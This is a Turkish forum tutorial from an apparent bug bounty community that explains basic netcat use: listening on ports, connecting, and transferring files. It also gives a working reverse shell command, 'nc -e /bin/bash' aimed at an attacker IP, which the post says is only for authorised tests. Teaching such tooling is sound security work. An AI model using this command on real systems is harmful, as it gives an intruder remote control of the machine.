Neler yeni
Bughane Academy

Bughane Academy, bug bounty, web güvenliği ve sızma testi alanında kendini geliştirmek isteyenler için kurulmuş Türkçe odaklı bir topluluktur.

Burada; gerçek güvenlik açıkları, recon ve exploit teknikleri, payload & bypass yöntemleri, araçlar, scriptler ve write-up’lar topluluk tarafından paylaşılır ve tartışılır.

Birlikte öğren, birlikte üret, birlikte güçlen.

Netcat Nasıl Kullanılır

Ali Ozan

Moderator
Aday
Katılım
3 Ocak 2026
Mesajlar
5
Tepkime puanı
4
Puan
3
Netcat, bir ağ üzerinden veri göndermek, almak veya dinlemek için kullanılan çok yönlü bir araçtır. Çoğunlukla ağ testleri, penetrasyon testleri ve güvenlik araştırmaları için tercih edilir.

Netcat’in temel mantığı iki şeye dayanıyor:

Veri Gönderme & Alma: İki bilgisayar arasında bağlantı kurup veri akışı sağlayabilirsin. Mesela basit bir dosya transferi bile yapılabilir.

Port Dinleme: Bir portu dinleyerek gelen bağlantıları kabul edebilirsin. Yani kendi mini sunucunu oluşturmuş oluyorsun.

  1. Port Dinleme (Server Tarafı)
Bir portu dinlemek için:

nc -l -p 1234

Bu komut, bilgisayarındaki 1234 numaralı portu dinler. Karşı taraftan gelen bağlantılar kabul edilir. Böylece veri akışı başlar.

2) Bağlantı Kurma (Client Tarafı)

Dinleyen porta bağlanmak için diğer cihazda:

nc 192.168.1.10 1234

Burada 192.168.1.10, portu dinleyen bilgisayarın IP adresi. Bağlantı kurulduğu anda iki taraf da veri gönderebilir.

3) Basit Dosya Gönderme

En basit dosya aktarımını Netcat ile yapabilirsin.

Gönderici (Port Dinleyen):

nc -l -p 1234 < dosya.txt

Alıcı (Bağlantı Kurar):

nc 192.168.1.10 1234 > alinan_dosya.txt

Bu komutlar sayesinde bir bilgisayardan diğerine hızlıca dosya geçirebilirsin.

4) Reverse Shell (Ters Bağlantı)

Burası biraz daha penetrasyon testi dünyasının olayı. Netcat ile hedef makineyi, saldırganın bilgisayarına ters bağlantı kurmaya zorlayabilirsin.

Dinleyen Saldırgan:

nc -l -p 1234

Hedef Taraf (Ters Bağlantı Başlatır):

nc -e /bin/bash 192.168.1.100 1234

Bu komut, hedef makineden saldırgana bir kabuk (shell) açar. Tabii ki bu sadece izinli testlerde denenmeli. Aksi durumda ciddi hukuki sorunlar doğabilir.

Çok Yönlü:

Dosya transferi, port dinleme, ters bağlantı, basit chat sunucusu bile yapılabilir.

Kolay Öğrenilir:

Temel Linux komutlarına aşinaysan hemen denemeye başlayabilirsin.

Ağ Testlerinde İdeal:

Bağlantıların çalışıp çalışmadığını test etmek için birebir.

Genelde ağ yöneticileri, etik hackerlar ve penetrasyon testi uzmanları Netcat kullanır. Bağlantı kontrolleri, servislerin açık olup olmadığını test etmek veya hedef sistemle basit veri akışı kurmak için çok işlevseldir.
 
Geri
Üst